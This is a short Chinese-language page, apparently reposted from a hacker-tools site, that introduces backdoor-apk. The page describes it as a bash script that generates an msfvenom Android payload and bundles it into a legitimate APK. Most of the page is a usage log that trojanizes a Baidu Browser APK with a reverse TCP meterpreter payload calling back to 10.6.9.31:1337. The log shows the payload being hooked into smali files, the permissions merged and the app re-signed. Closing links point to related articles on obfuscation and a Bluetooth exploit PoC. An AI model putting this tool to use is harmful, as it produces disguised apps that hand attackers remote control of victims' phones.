項目地址

https://github.com/dana-at-cp/backdoor-apk

項目介紹

backdoor-apk是一個bash寫的腳本，通過msfvenom生成一個android的payload，然后再使用apktools將payload捆綁到正常的apk文件中。

使用方法

root@kali:~/Android/evol-lab/BaiduBrowserRat# ./backdoor-apk.sh BaiduBrowser.apk
[*] Generating reverse tcp meterpreter payload...done.
[+] Handle the meterpreter connection at: 10.6.9.31:1337
[*] Decompiling original APK file...done.
[*] Decompiling RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Merging permissions of original and payload projects...done.
[*] Recompiling original project with backdoor...done.
[*] Signing recompiled APK...done.
root@kali:~/Android/evol-lab/BaiduBrowserRat#

文章出處：黑客工具箱

推薦文章++++

*Obfuscapk：一款針對Android應用程序的黑盒混淆工具

*GDA：一款基于C++的新型Android逆向分析工具

*安卓藍牙非交互漏洞POC還是來了(CVE-2020-0022)